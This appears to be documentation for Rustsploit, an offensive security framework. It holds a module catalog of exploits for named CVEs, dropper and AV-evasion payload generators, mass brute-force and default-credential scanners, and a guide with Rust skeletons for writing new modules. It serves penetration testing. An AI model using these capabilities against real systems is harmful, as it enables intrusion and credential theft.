| `exploits/network_infra/fortinet/fortios_ssl_vpn_cve_2018_13379` | FortiOS SSL VPN path traversal to leak session files with cleartext credentials (CVE-2018-13379) |
| `exploits/network_infra/fortinet/fortisiem_rce_cve_2025_64155` | FortiSIEM phMonitor unauthenticated RCE via argument injection in XML/SSL protocol (CVE-2025-64155) |
| `exploits/network_infra/fortinet/fortiweb_rce_cve_2021_22123` | FortiWeb authenticated command injection via SAML server-name parameter (CVE-2021-22123) |
| `exploits/network_infra/fortinet/fortiweb_sqli_rce_cve_2025_25257` | FortiWeb unauthenticated SQL injection to webshell deployment (CVE-2025-25257) |
### Network Infrastructure -- HPE
| Module Path | Description |
|-------------|-------------|
| `exploits/network_infra/hpe/cve_2025_37164_hpe_oneview_rce` | Unauthenticated RCE via REST API command injection in HPE OneView (CVE-2025-37164) |
### Network Infrastructure -- Kubernetes
| Module Path | Description |
|-------------|-------------|
| `exploits/network_infra/kubernetes/cve_2025_1974_ingress_nginx_rce` | ingress-nginx admission webhook config injection via annotations for arbitrary NGINX config, file read, and RCE (CVE-2025-1974) |
### Network Infrastructure -- Ivanti
| Module Path | Description |
|-------------|-------------|
| `exploits/network_infra/ivanti/cve_2025_0282_ivanti_preauth_rce` | Pre-authentication buffer overflow in Ivanti Connect Secure (CVE-2025-0282) |
| `exploits/network_infra/ivanti/cve_2025_22457_ivanti_ics_rce` | Stack-based buffer overflow in Ivanti Connect Secure via X-Forwarded-For (CVE-2025-22457) |
| `exploits/network_infra/ivanti/ivanti_connect_secure_stack_based_buffer_overflow` | Ivanti Connect Secure stack-based buffer overflow, CVSS 9.0 |
| `exploits/network_infra/ivanti/ivanti_epmm_cve_2023_35082` | Ivanti EPMM unauthenticated API access to user information (CVE-2023-35082) |
| `exploits/network_infra/ivanti/ivanti_ics_auth_bypass_cve_2024_46352` | Ivanti Connect Secure auth bypass via TOTP backup code path traversal (CVE-2024-46352) |
| `exploits/network_infra/ivanti/ivanti_neurons_rce_cve_2025_22460` | Ivanti Neurons for ITSM unauthenticated RCE via deserialization (CVE-2025-22460) |
### Network Infrastructure -- QNAP
| Module Path | Description |
|-------------|-------------|
| `exploits/network_infra/qnap/qnap_qts_rce_cve_2024_27130` | QNAP QTS stack buffer overflow via share.cgi for RCE (CVE-2024-27130) |
### Network Infrastructure -- SonicWall
| Module Path | Description |
|-------------|-------------|
| `exploits/network_infra/sonicwall/cve_2025_40602_sonicwall_sma_rce` | SonicWall SMA1000 series remote code execution (CVE-2025-40602) |
### Network Infrastructure -- Trend Micro
| Module Path | Description |
|-------------|-------------|
| `exploits/network_infra/trend_micro/cve_2025_5777` | Trend Micro MsgReceiver DLL loading for unauthenticated RCE on port 20001 |
| `exploits/network_infra/trend_micro/cve_2025_69258` | Trend Micro Apex Central unauthenticated command injection via Login.aspx |
| `exploits/network_infra/trend_micro/cve_2025_69259` | Trend Micro MsgReceiver out-of-bounds read DoS (CVE-2025-69259) |
| `exploits/network_infra/trend_micro/cve_2025_69260` | Trend Micro MsgReceiver unchecked NULL return value DoS (CVE-2025-69260) |
### Network Infrastructure -- VMware
| Module Path | Description |
|-------------|-------------|
| `exploits/network_infra/vmware/esxi_auth_bypass_cve_2024_37085` | ESXi authentication bypass via Active Directory 'ESX Admins' group manipulation (CVE-2024-37085) |
| `exploits/network_infra/vmware/esxi_vm_escape_check` | ESXi VM escape chain vulnerability check and IOC detection (CVE-2025-22224/22225/22226) |
| `exploits/network_infra/vmware/esxi_vsock_client` | VSOCK client for communicating with VSOCKpuppet backdoor on compromised ESXi hosts |
| `exploits/network_infra/vmware/vcenter_backup_rce` | vCenter Server authenticated RCE via flag injection in backup.validate API (CVSS 7.2) |
| `exploits/network_infra/vmware/vcenter_file_read` | vCenter Server authenticated partial arbitrary file read via RVC command (CVSS 4.9) |
| `exploits/network_infra/vmware/vcenter_rce_cve_2024_37079` | vCenter Server heap-overflow RCE via DCERPC protocol on port 443 (CVE-2024-37079) |
### Payload Generators
| Module Path | Description |
|-------------|-------------|
| `exploits/payloadgens/batgen` | Creates multi-stage .bat dropper chains with PowerShell download and execution |
| `exploits/payloadgens/lnkgen` | Malicious Windows LNK files for SMB NTLMv2-SSP hash disclosure (CVE-2025-50154, CVE-2025-59214) |
| `exploits/payloadgens/narutto_dropper` | Polymorphic 3-stage stealth droppers with LOLBAS support and anti-VM evasion |
| `exploits/payloadgens/payload_encoder` | Payload encoding (XOR, base64, hex, zero-width, etc.) for AV evasion |
| `exploits/payloadgens/polymorph_dropper` | 3-stage polymorphic payload chain using Task Scheduler for persistence |
### Routers -- D-Link
| Module Path | Description |
|-------------|-------------|
| `exploits/routers/dlink/dlink_dcs_930l_auth_bypass` | D-Link DCS-930L/932L unauthenticated config disclosure and credential extraction |
### Routers -- Netgear
| Module Path | Description |
|-------------|-------------|
| `exploits/routers/netgear/netgear_r6700v3_rce_cve_2022_27646` | Netgear R6700v3 pre-auth buffer overflow RCE in circled daemon (CVE-2022-27646) |
### Routers -- Palo Alto
| Module Path | Description |
|-------------|-------------|
| `exploits/routers/palo_alto/panos_authbypass_cve_2025_0108` | PAN-OS auth bypass via path traversal in authentication mechanism (CVE-2025-0108) |
| `exploits/routers/palo_alto/panos_expedition_rce_cve_2024_9463` | Palo Alto Expedition unauthenticated OS command injection (CVE-2024-9463) |
| `exploits/routers/palo_alto/panos_globalprotect_rce_cve_2024_3400` | PAN-OS GlobalProtect gateway unauthenticated OS command injection (CVE-2024-3400) |
### Routers -- Ruijie
| Module Path | Description |
|-------------|-------------|
| `exploits/routers/ruijie/ruijie_auth_bypass_rce_cve_2023_34644` | Ruijie device auth bypass to RCE on routers, switches, and access points (CVE-2023-34644) |
| `exploits/routers/ruijie/ruijie_reyee_ssrf_cve_2024_48874` | Ruijie Reyee cloud-connected device SSRF (CVE-2024-48874) |
| `exploits/routers/ruijie/ruijie_rg_ew_login_bypass_cve_2023_4415` | Ruijie RG-EW1200G auth bypass via crafted JSON login request (CVE-2023-4415) |
| `exploits/routers/ruijie/ruijie_rg_ew_password_reset_cve_2023_4169` | Ruijie RG-EW1200G unauthenticated admin password reset (CVE-2023-4169) |
| `exploits/routers/ruijie/ruijie_rg_ew_update_version_rce_cve_2021_43164` | Ruijie RG-EW Series firmware update command injection RCE (CVE-2021-43164) |
| `exploits/routers/ruijie/ruijie_rg_uac_ci_cve_2024_4508` | Ruijie RG-UAC unauthenticated command injection via static_route_edit (CVE-2024-4508) |
| `exploits/routers/ruijie/ruijie_rsr_router_ci_cve_2024_31616` | Ruijie RSR10-01G-T-S authenticated command injection via diagnostics (CVE-2024-31616) |
### Routers -- Tenda
| Module Path | Description |
|-------------|-------------|
| `exploits/routers/tenda/tenda_cp3_rce_cve_2023_30353` | Tenda CP3 IP camera unauthenticated RCE via YGMP_CMD on UDP 5012 (CVE-2023-30353) |
### Routers -- TP-Link
| Module Path | Description |
|-------------|-------------|
| `exploits/routers/tplink/tapo_c200_vulns` | TP-Link Tapo C200 multiple vulns: WiFi info leak, ONVIF overflow, HTTPS integer overflow |
| `exploits/routers/tplink/tplink_archer_c2_c20i_rce` | TP-Link Archer C2/C20i authenticated command injection via diagnostics |
| `exploits/routers/tplink/tplink_archer_c9_password_reset` | TP-Link Archer C9/C60 unauthenticated password reset via predictable PRNG |
| `exploits/routers/tplink/tplink_archer_rce_cve_2024_53375` | TP-Link Archer/Deco/Tapo authenticated command injection via OwnerId (CVE-2024-53375) |
| `exploits/routers/tplink/tplink_ax1800_rce_cve_2024_53375` | TP-Link Archer AX1800 authenticated command injection via NTP server field |
| `exploits/routers/tplink/tplink_deco_m4_rce` | TP-Link Deco M4 default credential check and ping command injection |
| `exploits/routers/tplink/tplink_tapo_c200` | TP-Link Tapo C200 IP camera command injection via setLanguage method |
| `exploits/routers/tplink/tplink_vigi_c385_rce_cve_2026_1457` | TP-Link VIGI C385 authenticated buffer overflow RCE (CVE-2026-1457) |
| `exploits/routers/tplink/tp_link_vn020_dos` | TP-Link VN020 UPnP DoS via malformed AddPortMapping SOAP request |
| `exploits/routers/tplink/tplink_wdr740n_backdoor` | TP-Link WDR740N debug page command execution with hardcoded credentials |
| `exploits/routers/tplink/tplink_wdr740n_path_traversal` | TP-Link WDR740N/ND path traversal for arbitrary file read via /help/ |
| `exploits/routers/tplink/tplink_wdr842n_configure_disclosure` | TP-Link WDR842N config download and DES decryption for credential extraction |
| `exploits/routers/tplink/tplink_wr740n_dos` | TP-Link TL-WR740N web server buffer overflow DoS |
### Routers -- Ubiquiti
| Module Path | Description |
|-------------|-------------|
| `exploits/routers/ubiquiti/ubiquiti_edgerouter_ci_cve_2023_2376` | Ubiquiti EdgeRouter X command injection in web management (CVE-2023-2376) |
### Routers -- ZTE
| Module Path | Description |
|-------------|-------------|
| `exploits/routers/zte/zte_zxv10_h201l_rce_authenticationbypass` | ZTE ZXV10 H201L auth bypass via config leak and DDNS command injection |
### Routers -- Zyxel
| Module Path | Description |
|-------------|-------------|
| `exploits/routers/zyxel/zyxel_cpe_ci_cve_2024_40890` | Zyxel legacy CPE unauthenticated HTTP command injection (CVE-2024-40890) |
### Sample
| Module Path | Description |
|-------------|-------------|
| `exploits/sample_exploit` | Template exploit module demonstrating info(), check(), and run() with cfg_prompt integration |
### SafeLine (WAF)
| Module Path | Description |
|-------------|-------------|
| `exploits/safeline/cookie_attributes` | SafeLine session cookie lacks HttpOnly, Secure, and SameSite attributes enabling XSS session theft and CSRF |
| `exploits/safeline/nginx_injection` | SafeLine tcontrollerd inserts Ports field verbatim into nginx config via fmt.Sprintf for arbitrary directive injection |
| `exploits/safeline/no_auth_probe` | Detects SafeLine NO_AUTH env bypass where `len(noAuth) >= 0` (always true) disables auth middleware |
| `exploits/safeline/pre_auth_tfa` | Fresh SafeLine install unauthenticated TFA secret rotation via /api/OTPUrl for full account takeover |
| `exploits/safeline/session_secret_entropy` | SafeLine JWT signing secret generated with math/rand seeded by time.Now().UnixNano() — as low as 39 bits effective entropy |
| `exploits/safeline/unauth_writes` | SafeLine publicRouters expose unauthenticated POST to /api/Behaviour and /api/FalsePositives for analytics pollution and request amplification |
### Snare (Honeypot)
| Module Path | Description |
|-------------|-------------|
| `exploits/snare/cookie_dos` | HTTP Cookie header without '=' separator causes IndexError crash in snare tanner_handler.py worker |
| `exploits/snare/tanner_version_mitm` | Rogue HTTP server on port 8090 returns forged version response to snare's unauthenticated GET /version check |
### SSH
| Module Path | Description |
|-------------|-------------|
| `exploits/ssh/asyncssh_beginauthpass` | AsyncSSH server begin_auth() returning False causes USERAUTH_SUCCESS bypass for unauthenticated session access |
| `exploits/ssh/erlang_otp_ssh_rce_cve_2025_32433` | Erlang/OTP SSH server unauthenticated RCE (CVE-2025-32433) |
| `exploits/ssh/libssh2_rogue_server` | Rogue SSH server capturing credentials from libssh2 clients that accept USERAUTH_SUCCESS without verifying KEX state |
| `exploits/ssh/libssh_auth_bypass_cve_2018_10933` | libSSH server authentication bypass (CVE-2018-10933) |
| `exploits/ssh/openssh_regresshion_cve_2024_6387` | OpenSSH sshd signal handler race condition for unauthenticated RCE (CVE-2024-6387) |
| `exploits/ssh/opensshserver_9_8p1race_condition` | OpenSSH 9.8p1 race condition for heap-based RCE |
| `exploits/ssh/paramiko_authnonepass` | Paramiko SSH server check_auth_none() returning AUTH_SUCCESSFUL allows unauthenticated session access |
| `exploits/ssh/paramiko_unknown_method` | Paramiko SSH server unrecognized auth method fallthrough to check_auth_none() allows authentication bypass |
| `exploits/ssh/sshpwn_auth_passwd` | OpenSSH auth2-passwd.c password length DoS, change info leak, timing enumeration |
| `exploits/ssh/sshpwn_pam` | OpenSSH auth-pam.c environment injection, memory leak DoS, username validation bypass |
| `exploits/ssh/sshpwn_scp_attacks` | OpenSSH SCP path traversal, command injection, and brace expansion DoS |
| `exploits/ssh/sshpwn_session` | OpenSSH session.c forced command bypass, env injection, privsep issues |
| `exploits/ssh/sshpwn_sftp_attacks` | OpenSSH SFTP symlink injection, chmod setuid abuse, path traversal, partial write |
### Telnet
| Module Path | Description |
|-------------|-------------|
| `exploits/telnet/telnet_auth_bypass_cve_2026_24061` | Telnet authentication bypass on vulnerable devices (CVE-2026-24061) |
### VNC
| Module Path | Description |
|-------------|-------------|
| `exploits/vnc/libvnc_checkrect_overflow` | LibVNCClient signed 32-bit bounds check integer overflow for heap overflow RCE |
| `exploits/vnc/libvnc_tight_filtergradient` | LibVNCClient Tight decoder unclamped numRows out-of-bounds write past allocated buffer |
| `exploits/vnc/libvnc_ultrazip` | LibVNCClient Ultra encoding unbounded cache rect loop for heap overflow (CVE-2018-20750) |
| `exploits/vnc/libvnc_websocket_overflow` | LibVNCServer WebSocket unbounded 64-bit payloadLen for heap overflow |
| `exploits/vnc/libvnc_zrle_tile` | LibVNCClient ZRLE decoder truncated RLE tile buffer over-read |
| `exploits/vnc/rfb` | Shared RFB protocol helpers for VNC exploit modules |
| `exploits/vnc/tigervnc_rre_overflow` | TigerVNC RRE decoder unbounded numSubrects loop for heap over-read |
| `exploits/vnc/tigervnc_timing_oracle` | TigerVNC VNC auth DES response timing side-channel for bit-by-bit key recovery |
| `exploits/vnc/tightvnc_decompression_bomb` | TightVNC FileUploadData uncapped uncompressedSize for heap exhaustion DoS |
| `exploits/vnc/tightvnc_des_hardcoded_key` | TightVNC hardcoded 8-byte DES key for offline Windows registry password decryption |
| `exploits/vnc/tightvnc_ft_path_traversal` | TightVNC file-transfer handler directory traversal for arbitrary file read/write |
| `exploits/vnc/tightvnc_predictable_challenge` | TightVNC srand(time(0)) predictable 16-byte RFB challenge for replay attacks |
| `exploits/vnc/tightvnc_rect_overflow` | TightVNC signed int32 multiplication overflow in Rect::area() for heap buffer overflow RCE |
| `exploits/vnc/x11vnc_dns_injection` | x11vnc reverse-DNS hostname passed unsanitized to system() for shell injection via crafted PTR record |
| `exploits/vnc/x11vnc_env_injection` | x11vnc RFB_CLIENT_IP environment variable injection into hook scripts |
| `exploits/vnc/x11vnc_unixpw_inject` | x11vnc -unixpw mode newline injection in plaintext username to confuse PAM flow |
### VoIP
| Module Path | Description |
|-------------|-------------|
| `exploits/voip/cve_2025_64328_freepbx_cmdi` | FreePBX filestore module post-authentication command injection (CVE-2025-64328) |
### Web Applications
| Module Path | Description |
|-------------|-------------|
| `exploits/webapps/craftcms_key_rce_cve_2025_23209` | Craft CMS RCE when application security key is known or leaked (CVE-2025-23209) |
| `exploits/webapps/craftcms_rce_cve_2025_47726` | Craft CMS RCE via Server-Side Template Injection (CVE-2025-47726) |
| `exploits/webapps/dify/cve_2025_56157_dify_default_creds` | Dify default PostgreSQL credentials (postgres:difyai123456) exposure check (CVE-2025-56157) |
| `exploits/webapps/flowise/cve_2024_31621` | Flowise 1.6.5 unauthenticated credentials endpoint access (CVE-2024-31621) |
| `exploits/webapps/flowise/cve_2025_59528_flowise_rce` | Flowise < 3.0.5 unauthenticated API RCE (CVE-2025-59528) |
| `exploits/webapps/langflow_rce_cve_2025_3248` | Langflow unauthenticated RCE via Python exec() in code validation (CVE-2025-3248) |
| `exploits/webapps/laravel_livewire_rce_cve_2025_47949` | Laravel Livewire RCE via unsafe deserialization (CVE-2025-47949) |
| `exploits/webapps/misp_rce_cve_2025_27364` | MISP < 2.5.3 authenticated file upload to PHP webshell RCE via /events/upload_sample (CVE-2025-27364) |
| `exploits/webapps/mcpjam/cve_2026_23744_mcpjam_rce` | MCPJam Inspector <= 1.4.2 unauthenticated RCE (CVE-2026-23744) |
| `exploits/webapps/n8n/n8n_rce_cve_2025_68613` | n8n workflow automation RCE via expression injection (CVE-2025-68613) |
| `exploits/webapps/nextjs_middleware_bypass_cve_2025_29927` | Next.js < 15.2.3 middleware bypass via unauthenticated x-middleware-subrequest header (CVE-2025-29927) |
| `exploits/webapps/react/react2shell` | React Server Components / Next.js RCE via RSC Flight protocol deserialization |
| `exploits/webapps/roundcube/roundcube_postauth_rce` | Roundcube webmail post-auth RCE via deserialization in file upload |
| `exploits/webapps/sap_netweaver_rce_cve_2025_31324` | SAP NetWeaver Visual Composer unauthenticated file upload to RCE (CVE-2025-31324) |
| `exploits/webapps/sharepoint/cve_2024_38094` | SharePoint Server authenticated deserialization RCE via .bdcm upload (CVE-2024-38094) |
| `exploits/webapps/sharepoint/cve_2025_53770_sharepoint_toolpane_rce` | SharePoint on-premises unauthenticated deserialization RCE (CVE-2025-53770) |
| `exploits/webapps/solarwinds/cve_2025_40551_solarwinds_whd_rce` | SolarWinds Web Help Desk unauthenticated Java deserialization RCE (CVE-2025-40551) |
| `exploits/webapps/spotube/spotube` | Spotube API path traversal via WebSocket and denial of service |
| `exploits/webapps/termix/termix_xss_cve_2026_22804` | Termix File Manager stored XSS via SVG upload in Electron context (CVE-2026-22804) |
| `exploits/webapps/vite_path_traversal_cve_2025_30208` | Vite dev server < 6.2.3 /@fs/ path traversal via ?import&raw query parameter bypass (CVE-2025-30208) |
| `exploits/webapps/wordpress/vitepos_file_upload_cve_2025_13156` | Vitepos for WooCommerce authenticated arbitrary PHP file upload (CVE-2025-13156) |
| `exploits/webapps/wordpress/wp_bricks_rce_cve_2024_25600` | Bricks Builder for WordPress unauthenticated RCE via render_element (CVE-2024-25600) |
| `exploits/webapps/wordpress/wp_litespeed_rce_cve_2024_28000` | LiteSpeed Cache weak hash brute force for WordPress admin escalation (CVE-2024-28000) |
| `exploits/webapps/wordpress/wp_royal_elementor_rce_cve_2024_32suspended` | Royal Elementor Addons unauthenticated PHP webshell upload |
| `exploits/webapps/xwiki/cve_2025_24893_xwiki_rce` | XWiki SolrSearch unauthenticated RCE via Groovy template injection (CVE-2025-24893) |
| `exploits/webapps/zabbix/zabbix_7_0_0_sql_injection` | Zabbix 7.0.0 time-based SQL injection in API endpoints |
| `exploits/webapps/zimbra_sqli_auth_bypass_cve_2025_25064` | Zimbra ZCS < 10.0.12 unauthenticated SQL injection via /service/home~ for email metadata extraction (CVE-2025-25064) |
### Windows
| Module Path | Description |
|-------------|-------------|
| `exploits/windows/windows_dwm_cve_2026_20805` | Windows DWM kernel object pointer leak for KASLR bypass (CVE-2026-20805) |
---
## Scanners
| Module Path | Description |
|-------------|-------------|
| `scanners/api_endpoint_scanner` | REST API endpoint discovery and vulnerability scanner with fuzzing, auth bypass, and injection detection |
| `scanners/dir_brute` | HTTP directory and file enumeration via wordlist with recursive scanning and evasion techniques |
| `scanners/dns_recursion` | Open DNS resolver and amplification attack detection |
| `scanners/honeypot_scanner` | Honeypot indicator detection by probing 50 common TCP ports |
| `scanners/http_method_scanner` | HTTP method enumeration to identify dangerous or misconfigured endpoints |
| `scanners/http_title_scanner` | HTTP/HTTPS page title fetcher for target fingerprinting |
| `scanners/ipmi_enum_exploit` | IPMI version detection, cipher 0 bypass, default credentials, and RAKP hash dumping |
| `scanners/nbns_scanner` | NBNS name queries to UDP 137 for Windows host discovery |
| `scanners/ping_sweep` | Host discovery via ICMP echo, TCP connect, SYN, and ACK probes with CIDR support |
| `scanners/port_scanner` | TCP/UDP port scanner with service detection, banner grabbing, and configurable ranges |
| `scanners/proxy_scanner` | HTTP CONNECT, SOCKS4, SOCKS5, and transparent proxy discovery with authentication detection |
| `scanners/redis_scanner` | Redis instance discovery and unauthenticated access detection |
| `scanners/reflect_scanner` | UDP amplification vulnerability scanner for DNS, NTP monlist, SSDP, and Memcached reflectors |
| `scanners/sample_scanner` | Demonstration scanner checking HTTP/HTTPS reachability and response codes |
| `scanners/sequential_fuzzer` | Character-based HTTP fuzzer with 10+ encodings, custom charsets, and concurrent requests |
| `scanners/service_scanner` | Service port banner grabbing and version identification |
| `scanners/smtp_user_enum` | SMTP username enumeration via VRFY commands with wordlist scanning |
| `scanners/snmp_scanner` | SNMP v1/v2c community string testing against target devices |
| `scanners/source_port_scanner` | Firewall bypass scanner discovering which source ports are allowed through |
| `scanners/ssdp_msearch` | UPnP device discovery via SSDP M-SEARCH multicast and unicast probes |
| `scanners/ssh_scanner` | SSH banner grabbing with CIDR range support and concurrent scanning |
| `scanners/ssl_scanner` | SSL/TLS certificate and configuration analysis, expired certificate detection |
| `scanners/stalkroute_full_traceroute` | Advanced traceroute with ICMP/TCP/UDP probes, OS fingerprint spoofing, and decoy packets |
| `scanners/subdomain_scanner` | Subdomain brute-force enumeration via DNS resolution |
| `scanners/vnc_scanner` | VNC protocol version and security type enumeration |
| `scanners/vuln_checker` | Fingerprint-based vulnerability scanner with detection signatures across all exploit modules |
| `scanners/waf_detector` | Web Application Firewall and CDN provider detection via HTTP response analysis |
---
## Credential Modules
### Generic
| Module Path | Description |
|-------------|-------------|
| `creds/generic/couchdb_bruteforce` | CouchDB session cookie and HTTP Basic auth brute force with default credential testing and subnet scanning |
| `creds/generic/elasticsearch_bruteforce` | Elasticsearch HTTP Basic auth brute force against cluster root and security API with subnet scanning |
| `creds/generic/enablebruteforce` | Raises file descriptor limits (ulimit) for high-concurrency brute-force operations |
| `creds/generic/fortinet_bruteforce` | Fortinet FortiGate SSL VPN web auth brute force with certificate pinning and realm support |
| `creds/generic/ftp_anonymous` | FTP anonymous access check with FTPS, IPv4/IPv6, and mass scanning support |
| `creds/generic/ftp_bruteforce` | FTP/FTPS brute force with combo mode, concurrent connections, and subnet scanning |
| `creds/generic/http_basic_bruteforce` | HTTP Basic Authentication brute force with HTTPS support, default credentials, and subnet scanning |
| `creds/generic/imap_bruteforce` | IMAP/IMAPS LOGIN command brute force over raw TCP with TLS support and subnet scanning |
| `creds/generic/l2tp_bruteforce` | L2TP/IPsec VPN CHAP auth brute force against L2TP concentrators |
| `creds/generic/memcached_bruteforce` | Memcached open instance detection and SASL PLAIN auth brute force over binary protocol |
| `creds/generic/mqtt_bruteforce` | MQTT 3.1.1 auth testing with TLS/SSL, anonymous detection, and multiple attack modes |
| `creds/generic/mysql_bruteforce` | MySQL native password wire protocol brute force with HandshakeV10 parsing and subnet scanning |
| `creds/generic/pop3_bruteforce` | POP3/POP3S brute force with SSL/TLS support, retry logic, and subnet scanning |
| `creds/generic/postgres_bruteforce` | PostgreSQL protocol v3 brute force supporting cleartext and MD5 auth with subnet scanning |
| `creds/generic/proxy_bruteforce` | HTTP CONNECT, SOCKS5, and HTTP forward proxy authentication brute force |
| `creds/generic/rdp_bruteforce` | RDP auth brute force with NLA, TLS, Standard RDP, and Negotiate security levels |
| `creds/generic/redis_bruteforce` | Redis AUTH brute force supporting legacy and ACL mode with server info gathering on success |
| `creds/generic/rtsp_bruteforce` | RTSP auth brute force for IP cameras with path bruting and custom headers |
| `creds/generic/sample_cred_check` | Sample module testing HTTP Basic Auth with default admin:admin credentials |
| `creds/generic/smtp_bruteforce` | SMTP auth brute force supporting PLAIN and LOGIN mechanisms with combo mode |
| `creds/generic/snmp_bruteforce` | SNMPv1/v2c community string brute force with read/write detection and subnet scanning |
| `creds/generic/ssh_bruteforce` | SSH password brute force with default credential testing, combo mode, and subnet scanning |
| `creds/generic/ssh_spray` | SSH password spray across multiple targets with lockout-aware delays |
| `creds/generic/ssh_user_enum` | SSH username enumeration via timing-based side-channel attack (CVE-2018-15473 inspired) |
| `creds/generic/telnet_bruteforce` | Telnet brute force with full IAC negotiation, multiple attack modes, and subnet scanning |
| `creds/generic/telnet_hose` | Mass internet Telnet default credential scanner with 500 workers and disk-based state |
| `creds/generic/vnc_bruteforce` | VNC DES challenge-response brute force with bit-reversed key derivation and subnet scanning |
### Camera
| Module Path | Description |
|-------------|-------------|
| `creds/camera/acti/acti_camera_default` | ACTi IP camera default credential check across FTP, SSH, Telnet, and HTTP |
### Camxploit
| Module Path | Description |
|-------------|-------------|
| `creds/camxploit/camxploit` | Mass camera discovery and default credential testing across RTSP, HTTP, and HTTPS |
---
## Plugins
| Module Path | Description |
|-------------|-------------|
| `plugins/sample_plugin` | Template plugin demonstrating the RustSploit plugin API with mass scan and cfg_prompt integration |
+285
View File
@@ -0,0 +1,285 @@
# Module Development
Reference for maintainers and contributors writing new Rustsploit modules.
---
## How Modules Are Discovered
Rustsploit uses a build-time code-generation approach — no manual registry:
1. **`build.rs` scan** — Before compilation, `build.rs` recursively walks `src/modules/` looking for `.rs` files that are not `mod.rs`.
2. **Signature detection** — A file that exposes `pub async fn run(` is treated as a callable module.
3. **Name generation** — Both a *short name* (`ssh_bruteforce`) and a *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
4. **Dispatcher emission** — Generated files are written into `OUT_DIR` (not the source tree):
- `exploit_dispatch.rs`
- `creds_dispatch.rs`
- `scanner_dispatch.rs`
- `plugins_dispatch.rs`
- `module_registry.rs`
Each dispatch file contains an exhaustive `match` mapping names → `use crate::modules::...::run`. The registry file provides a unified module listing across all categories.
5. **Shell + CLI resolution**`use exploits/foo` or `--module foo` both resolve through the dispatcher.
Because it's generated at build time, there is **no manual registry drift** as long as modules live in the correct folder and export `run`.
---
## Code Rules
- **No dead code.** All code must be intentional and used. Do not leave unused functions, imports, or variables.
- **No `unsafe` blocks.** Do not use `unsafe` Rust anywhere in this codebase.
---
## Project Code Layout
```text
rustsploit/
├── Cargo.toml
├── build.rs # Generates dispatcher by scanning src/modules
├── src/
│ ├── main.rs # Entry point — CLI or shell mode, input validation
│ ├── cli.rs # Clap-based CLI parser and dispatcher
│ ├── shell.rs # Interactive shell loop + UX helpers
│ ├── api.rs # REST + WebSocket API server — PQ encryption, rate limiting
│ ├── ws.rs # PQ-encrypted WebSocket transport (/pq/ws)
│ ├── config.rs # Global config and target validation
│ ├── module_info.rs # ModuleInfo, CheckResult, ModuleRank types
│ ├── global_options.rs # Persistent global options (setg/unsetg)
│ ├── cred_store.rs # Credential store (JSON persistence)
│ ├── spool.rs # Console output logging
│ ├── workspace.rs # Host/service tracking + workspaces
│ ├── loot.rs # Loot/evidence management
│ ├── export.rs # JSON/CSV/summary report export
│ ├── jobs.rs # Background job management
│ ├── mcp/
│ │ ├── mod.rs # MCP server entry point (--mcp flag)
│ │ ├── server.rs # JSON-RPC stdio transport with binary-safe reads
│ │ └── tools.rs # 38 MCP tool implementations
│ ├── commands/
│ │ ├── mod.rs # Module discovery, fuzzy matching, multi-target dispatch
│ │ ├── exploit.rs
│ │ ├── scanner.rs
│ │ └── creds.rs
│ ├── modules/
│ │ ├── exploits/ # Exploit modules (183 modules, 21 categories)
│ │ ├── scanners/ # Scanner modules (27 modules)
│ │ ├── creds/ # Credential modules (29 modules)
│ │ └── plugins/ # Plugin modules (1 module)
│ ├── native/ # Native integrations
│ │ ├── mod.rs
│ │ ├── rdp.rs # Native RDP auth (X.224, TLS, CredSSP/NTLM)
│ │ ├── payload_engine.rs # Payload encoding/generation
│ │ ├── url_encoding.rs # URL encoding utilities
│ │ └── async_tls.rs # Async TLS helpers
│ └── utils/ # Shared helpers (directory module)
│ ├── mod.rs # Re-exports
│ ├── prompt.rs # Config-aware prompts (cfg_prompt_*)
│ ├── sanitize.rs # Input validation, length limits
│ ├── target.rs # Target normalization (IPv4/IPv6/CIDR/hostname)
│ ├── network.rs # HTTP client builders, TCP/UDP connect helpers
│ ├── privilege.rs # Root privilege check (require_root)
│ └── modules.rs # Module discovery helpers
├── docs/ # This wiki
├── lists/ # Wordlists and data files
└── README.md # Product overview
```
---
## Required Module Signature
Every module **must** export:
```rust
use anyhow::Result;
pub async fn run(target: &str) -> Result<()> {
// ...
Ok(())
}
```
Optional: also expose `pub async fn run_interactive(target: &str) -> Result<()>` for modules with multiple code paths.
---
## Optional Module Functions
Modules can optionally provide metadata and vulnerability check functions. These are auto-detected by `build.rs` alongside `run()`:
### Module Info (`info`)
```rust
use crate::module_info::{ModuleInfo, ModuleRank};
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "My Exploit Module".to_string(),
description: "Exploits CVE-XXXX-YYYY in FooBar device firmware.".to_string(),
authors: vec!["Your Name".to_string()],
references: vec![
"CVE-XXXX-YYYY".to_string(),
"https://example.com/advisory".to_string(),
],
disclosure_date: Some("2025-01-15".to_string()),
rank: ModuleRank::Good,
}
}
```
The `info` shell command and `GET /api/module/{category}/{name}` endpoint display this metadata.
**Rank values:** `Excellent` (reliable, no crash risk), `Great`, `Good` (default), `Normal`, `Low`, `Manual`.
### Vulnerability Check (`check`)
```rust
use crate::module_info::CheckResult;
pub async fn check(target: &str) -> CheckResult {
// Non-destructive verification — do NOT exploit
match test_vulnerability(target).await {
Ok(true) => CheckResult::Vulnerable("Version 1.2.3 is affected".to_string()),
Ok(false) => CheckResult::NotVulnerable("Patched version detected".to_string()),
Err(e) => CheckResult::Error(format!("Check failed: {}", e)),
}
}
```
The `check` shell command and `POST /api/check` endpoint run this without exploitation.
### Auto-Store Credentials and Loot
Modules can auto-store discovered data:
```rust
// Store a found credential
crate::cred_store::store_credential(host, port, "ssh", username, password,
crate::cred_store::CredType::Password, "creds/generic/ssh_bruteforce");
// Store loot (config file, hash dump, etc.)
crate::loot::store_loot(host, "config", "Router config dump", data.as_bytes(), "exploits/router_rce");
// Track a discovered host/service
crate::workspace::track_host(ip, Some("router.local"), Some("Linux 4.x"));
crate::workspace::track_service(ip, 22, "tcp", "ssh", Some("OpenSSH 8.9"));
```
---
## Adding a New Module — Checklist
1. **Choose a location** under `src/modules/{exploits,scanners,creds}`.
Use subfolders for vendor families (e.g., `exploits/cisco/`).
2. **Create the `.rs` file** with the required `pub async fn run` signature.
3. **Register in `mod.rs`** — add `pub mod your_module;` to the sibling `mod.rs`.
Without this, `build.rs` ignores the file.
4. **Run `cargo check`** — the dispatcher is regenerated automatically.
---
## Module Skeleton
```rust
use anyhow::{Context, Result};
use colored::Colorize;
use crate::utils::{normalize_target, cfg_prompt_port, cfg_prompt_yes_no};
pub async fn run(target: &str) -> Result<()> {
let target = normalize_target(target)?;
let port = cfg_prompt_port("port", "Target port", 80).await?;
